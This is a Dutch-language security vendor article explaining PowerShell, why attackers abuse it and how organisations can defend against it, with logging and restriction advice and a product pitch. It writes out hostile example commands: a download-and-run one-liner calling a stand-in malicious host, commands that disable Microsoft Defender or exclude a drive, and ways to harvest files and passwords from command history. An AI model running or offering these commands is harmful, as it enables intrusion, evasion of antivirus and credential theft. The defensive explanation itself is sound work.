
Wat is Windows PowerShell?
Windows PowerShell is een krachtig automatiseringstool. Begrijp de beveiligingsimplicaties ervan en hoe u het veilig in uw omgeving kunt gebruiken.

Windows PowerShell is een krachtige scripttaal en opdrachtregelshell voor het automatiseren van taken en het beheren van configuraties. Deze gids verkent de functies en mogelijkheden van PowerShell, waaronder de rol ervan in systeembeheer en beveiliging.
Lees meer over veelgebruikte PowerShell-opdrachten, best practices voor scripting en hoe u PowerShell kunt inzetten voor cybersecuritydoeleinden. Inzicht in PowerShell is essentieel voor IT-professionals en securityspecialisten.

Welke impact kan PowerShell hebben op de waardevolle bedrijfsmiddelen van uw organisatie? Leer de basisprincipes van PowerShell, waarom het aantrekkelijk is voor hackers & hoe u de onderneming kunt beschermen
Microsoft PowerShell is een opdrachtregelshell en scripttaal die wordt gebruikt om taken te automatiseren en Windows-gebaseerde systemen te beheren. Het wordt vaak gebruikt door beheerders en securityprofessionals om routinetaken te automatiseren, systemen te beheren en te monitoren, en reacties op beveiligingsincidenten te automatiseren. Aanvallers gebruiken PowerShell vaak om ongeautoriseerde toegang tot systemen te verkrijgen en kwaadaardige code uit te voeren.
Microsoft PowerShell is al sinds 2006 beschikbaar op Windows, maar is nu de opdrachtshell voor File Explorer op Windows 10 en heeft het oude hulpprogramma cmd.exe grotendeels vervangen. Hoewel het door gewone gebruikers vaak als arcaan wordt gezien, is PowerShell essentieel geworden voor IT-teams en netwerkbeheerders vanwege de flexibiliteit en kracht ervan. In deze inleidende gids leggen we de basisprincipes van PowerShell uit, waarom het aantrekkelijk is voor hackers en malwareauteurs, en wat u kunt doen om uw organisatie te beschermen.
Kies uw variant
Als u ‘PowerShell’ in het zoekveld van Cortana typt, krijgt u een paar opties te zien: PowerShell ISE en de PowerShell Desktop-app. Daarnaast ziet u, als u met de rechtermuisknop op het menu Start of op een van de taakbalkpictogrammen van PowerShell klikt, dat er twee verschillende manieren zijn om elke versie van PowerShell te starten: als de huidige gebruiker of als beheerder.

Beheerders die veelvoorkomende taken willen automatiseren, zullen waarschijnlijk de ISE-interface gebruiken om PowerShell-modules en -scripts te ontwikkelen, maar voor interactief gebruik kiezen de meesten voor de PowerShell Desktop-app en voeren deze uit als beheerder of als huidige gebruiker, afhankelijk van de taak.
U kunt ook horen spreken over PowerShell Core, een platformonafhankelijke, open-source editie die niet alleen op Windows draait, maar ook op Linux en macOS:

Let hier echter op, want het wordt geïnstalleerd als een niet-ondertekend binair bestand en kan eenvoudig worden vervangen door een kwaadaardige imitatie. Als u endpoints hebt die PowerShell Core gebruiken, zorg er dan voor dat uw organisatie het ondertekent met een passend certificaat, of voer regelmatig shasum-controles uit om te garanderen dat er niet mee is geknoeid.
Hoewel er enkele verschillen in mogelijkheden zijn tussen de verschillende varianten van PowerShell, kunnen ze allemaal externe sessies via SSH uitvoeren en communiceren met een grote verscheidenheid aan processen en services. PowerShell kan zelfs communiceren met het Windows-register en het gebeurtenislogboek. En dit alles betekent dat een tegenstander met toegang tot PowerShell dezelfde toegang en voordelen heeft.
De kracht ontketenen
U kunt een idee krijgen van de mogelijkheden van PowerShell met twee eenvoudige opdrachten:
Get-Module -ListAvailable
om de beschikbare modules weer te geven, en
Get-Command
om beschikbare opdrachten weer te geven:

Laten we snel naar enkele voorbeelden kijken. Stel dat u (of een tegenstander) zich binnen een map met documenten verplaatst en snel wilt nagaan of er iets interessants in staat. Een opdracht zoals de volgende geeft de eerste en laatste twee regels van elk tekstbestand in de map weer, doorloopt recursief onderliggende mappen, neemt verborgen of onzichtbare bestanden mee en stuurt de uitvoer door naar een ander tekstbestand om deze later te bekijken of op te halen:
Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log
Als iemand op zoek was naar documenten die mogelijk beginnen met “Confidential” of eindigen met de functie van de auteur, zoals “Chief Financial Officer”, dan zou dit een “quick and dirty”-manier kunnen zijn om interessante items te inventariseren.
Het verwijderen van een item, bijvoorbeeld om sporen van een inbraak uit te wissen, is simpelweg een kwestie van
Remove-Item <path>
PowerShell stelt gebruikers ook in staat om het besturingssysteem op interessante en helaas gevaarlijke manieren te manipuleren. Als een malwareauteur de vooraf geïnstalleerde Microsoft Defender-AV-engine wil omzeilen, kan het uitvoeren van een PowerShell-opdracht met de juiste bevoegdheden deze uitschakelen:
Set-MpPreference -DisableRealTimeMonitoring $true
of, iets heimelijker, een schijf of pad uitsluiten van de zoekpaden:
Add-MpPreference -ExclusionPath “c:”
PowerShell maakt het aanvallers ook eenvoudig om bijvoorbeeld uw netwerkschijven te inventariseren en het gebeurtenislogboek aan te roepen, een nuttige manier om exploiteerbare informatie te vinden, respectievelijk met Get-PSDrive en Get-EventLog.

Een nuttig hulpmiddel voor zowel gebruikers als kwaadwillenden is de mogelijkheid om de geschiedenis van opdrachten te lezen, inclusief alle argumenten die eraan zijn meegegeven, die interactief op de opdrachtregel zijn ingevoerd. De geschiedenis wordt opgeslagen op het pad dat door deze opdracht wordt weergegeven:
(Get-PSReadLineOption).HistorySavePath
en we kunnen cat en de Select-String-cmdlet (of de alias sls) gebruiken om de opdrachten effectief te “greppen” of te doorzoeken op interessante items (bijvoorbeeld zoals wachtwoorden!):

Scripts & exploitkits
Werken met PowerShell op de opdrachtregel is echter niet waar de beste kansen voor kwaadwillende actoren liggen. Gevaarlijker is het vermogen van PowerShell om scripts zowel in-memory (ook wel “fileless” malwareaanvallen) als vanaf schijf uit te voeren. Beide kunnen direct op een host of op afstand worden uitgevoerd.
Net als de Unix-shellopdracht eval heeft PowerShell Invoke-Expression (en de alias iex), waarmee het mogelijk is om een kwaadaardig script in het geheugen te downloaden en uit te voeren. We kunnen Bypass toevoegen om te proberen een beperkt uitvoeringsbeleid te omzeilen:
powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"
Het is dan ook niet verrassend dat het niet lang heeft geduurd voordat complete exploitatieframeworks verschenen die PowerShell ten volle benutten.
De eerste daarvan is PowerSploit, een verzameling PowerShell-scripts die kunnen helpen bij het manipuleren en controleren van de machine van een slachtoffer.

PowerShell Empire bouwt voort op het werk van PowerSploit en verschillende andere projecten om een post-exploitatietool te creëren die netwerkdetectie kan ontwijken, keyloggers kan uitvoeren en andere modules zoals Mimikatz kan uitvoeren om plaintext-wachtwoorden, wachtwoordhashes en andere gegevens rechtstreeks uit het geheugen te extraheren.

De opkomst van PowerShell-aanvallen
Het maken van PowerShell-scripts en PowerShell-opdrachten die vanuit andere soorten Windows-bestanden, .exe, .bat, .wsf en .LNK kunnen worden uitgevoerd, is een van de redenen waarom op PowerShell gebaseerde malware de afgelopen jaren in opkomst is geweest. Met één schatting die beweert dat PowerShell-exploits goed zijn voor bijna 40% van de malware-incidenten, bestaat er geen twijfel over dat tegenstanders het gebruiken in een grote verscheidenheid aan campagnes, van ransomware tot diefstal van inloggegevens en banking Trojans. PowerShell is ook in verband gebracht met klikfraude, het onderscheppen van wachtwoorden en data-exfiltratie.
DNSMessenger is malware die werd aangetroffen terwijl deze zich verspreidde via een macro in een Word-document. Het gebruikt op slimme wijze VBA-broncode om gecodeerde PowerShell-opdrachten af te leveren om persistentie te bereiken, de payload af te leveren en te communiceren met een C&C-server.
Verrassend genoeg vereisen sommige PowerShell-aanvallen niet eens de ingebouwde PowerShell.exe. Tools zoals PowerShdll en InsecurePowerShell kunnen scripts rechtstreeks uitvoeren door gebruik te maken van de System.Management.Automation.dll die ten grondslag ligt aan het PowerShell-binair bestand. Kortom, het PowerShell-uitvoerbare bestand is slechts een host of wrapper voor de echte code in de dynamic link library. Aanvallen kunnen hiervan gebruikmaken om in wezen elk proces PowerShell-scripts en -opdrachten te laten uitvoeren.
Andere creatieve toepassingen van PowerShell omvatten het insluiten van een PowerShell-script in de pixels van een PNG-bestand en het genereren van een one-liner om dit uit te voeren met Invoke-PSImage, of het converteren van PowerShell-scripts naar een EXE-bestand met tools zoals PS2EXE.
PowerShell beheren
Uit dit alles is waarschijnlijk duidelijk dat het simpelweg blokkeren van PowerShell.exe zinloos zou zijn, om nog maar te zwijgen van een grote last voor systeembeheerders die zijn gaan vertrouwen op wat PowerShell biedt. Het is belangrijk te begrijpen dat PowerShell en de DLL’s die eraan ten grondslag liggen integrale onderdelen zijn van het Windows-besturingssysteem, en met de komst van PowerShell Core strekt die kracht zich uit tot mogelijkheden voor platformonafhankelijk beheer die ondernemingen mogelijk essentieel vinden.
Een effectieve enterprise-oplossing voor het omgaan met de dubbele aard van PowerShell is er een zoals SentinelOne, die kijkt naar het gedrag van processen die op het endpoint worden uitgevoerd. Dit is effectief omdat ze zich vergelijkbaar gedragen, ongeacht hoe malwareaanvallen worden geïmplementeerd. De SentinelOne-agent bewaakt alle activiteiten op de agent om onderscheid te maken tussen kwaadaardige en legitieme activiteiten. Omdat de agent al over de volledige context beschikt: gebruikers, processen, opdrachtregelargumenten, register, bestanden op de schijf en externe communicatie, kan kwaadaardige activiteit worden beperkt ongeacht de bron.
Vindt u dit artikel leuk? Volg ons op LinkedIn, Twitter, YouTube of Facebook om de content te zien die we posten.
Lees meer over Windows-beveiliging
- Hancitor Banking Trojan is terug | Met kwaadaardige Word-bijlage
- SentinelOne detecteert en blokkeert nieuwe variant van Powershell CryptoWorm
- Nieuw Windows 10-bestandstype kan worden misbruikt om kwaadaardige applicaties uit te voeren

AI-gestuurde cyberbeveiliging
Verhoog uw beveiliging met realtime detectie, reactiesnelheid en volledig overzicht van uw gehele digitale omgeving.
Windows PowerShell-FAQ's
Windows PowerShell is een Microsoft-opdrachtregelshell en scripttaal die is gebouwd op het .NET Framework. Hiermee kunt u cmdlets—eenvoudige werkwoord-zelfstandig naamwoord-opdrachten—gebruiken om taken te automatiseren, zoals het beheren van het bestandssysteem, register en services.
PowerShell verwerkt en retourneert objecten in plaats van platte tekst, zodat u gestructureerde gegevens van de ene cmdlet naar de volgende kunt pipen. Het ondersteunt ook remoting, modules en help in de console voor systeembeheer.
In tegenstelling tot de oude CMD gebruikt PowerShell cmdlets met een werkwoord-zelfstandig naamwoord-indeling en werkt het met .NET-objecten in plaats van tekststromen. Dat betekent dat u opdrachten via pipelines kunt koppelen zonder tekst te parseren. PowerShell-scripts kunnen .NET API's rechtstreeks aanroepen, bieden uitgebreidere foutafhandeling en ondersteunen modules.
Traditionele shells verwerken alleen platte tekst en eenvoudige batchscripts, terwijl PowerShell een volledige scriptingomgeving biedt voor automatisering en configuratie.
De diepe systeemintegratie en scriptkracht van PowerShell maken het favoriet bij zowel beheerders als aanvallers. Threat actors gebruiken fileless technieken—scripts uitvoeren in het geheugen—om detectie te ontwijken.
PowerShell kan verdedigingen uitschakelen, kwaadaardige code downloaden of referenties stelen zonder de schijf aan te raken. Door de alomtegenwoordigheid ervan in Windows moeten verdedigers PowerShell-activiteit als hoog risico behandelen en deze nauwlettend monitoren op misbruik.
In een onderzoek van Cisco was PowerShell betrokken bij meer dan een derde van de kritieke beveiligingsdreigingen op endpoints. Carbon Black meldde PowerShell-misbruik in 38 procent van de incidenten, vaak bij post-exploitatieacties zoals laterale beweging of diefstal van referenties.
Ook al is normaal gebruik laag, PowerShell duikt op in ongeveer één op de veertien bevestigde kwaadaardige incidenten.
Schakel alle PowerShell-logging in: modulelogging, script block logging en transcriptie. Stel de loggrootte in op minimaal 150 MB en verzamel gebeurtenissen uit
Microsoft-Windows-PowerShell/Operational en PowerShellCore/Operational. Voer logs in SIEM of XDR in. Blokkeer scripts van niet-vertrouwde parent-processen en beperk het uitvoeringsbeleid tot alleen ondertekende scripts. Schakel Protected Event Logging in voor extra detail.
Gebruik Just Enough Administration (JEA) om toegang van alleen gebruikers tot goedgekeurde cmdlets te beperken. Dwing constrained language mode af om COM, WMI en complexe expressies uit te schakelen. Implementeer Application Control-beleid (bijv. WDAC) om ondertekende scripts op een allowlist te plaatsen.
Houd PowerShell bijgewerkt naar v5.1 of later. Controleer en stem logginginstellingen regelmatig af om ervoor te zorgen dat elke scriptaanroep wordt vastgelegd.
PowerShell volledig blokkeren kan systeembeheer en beheer op afstand verstoren. Microsoft raadt volledige verwijdering af. Beperk in plaats daarvan de uitvoering tot geautoriseerde beheerders, dwing application control af en voorkom dat PowerShell wordt gestart onder niet-vertrouwde parent-processen zoals Office-apps.
Gecombineerd met logging en monitoring stoppen deze maatregelen het meeste kwaadaardige gebruik zonder legitieme activiteiten te verlammen.
Met PowerShell kunnen verdedigers incidentrespons automatiseren, snel forensische gegevens verzamelen en op dreigingen jagen. U kunt scripts schrijven om registerartefacten, proceslijsten en netwerkverbindingen in enkele minuten te verzamelen. Het leren van PowerShell helpt ook om technieken van aanvallers te begrijpen, aangezien veel post-exploitatietools (Empire, Cobalt Strike) PowerShell onder de motorkap gebruiken.
PowerShell-scripts kunnen live geheugen, register-run keys, eventlogs en netwerkgegevens verzamelen voor triage. Communitytools zoals DFIR-Script automatiseren bewijsverzameling op endpoints. Hunters gebruiken PowerShell om Windows Event ID 4104 te doorzoeken op kwaadaardige scriptblokken, output te parseren en resultaten in SOAR-playbooks in te voeren. Dit maakt PowerShell een kernonderdeel van workflows voor detectie, containment en herstel.




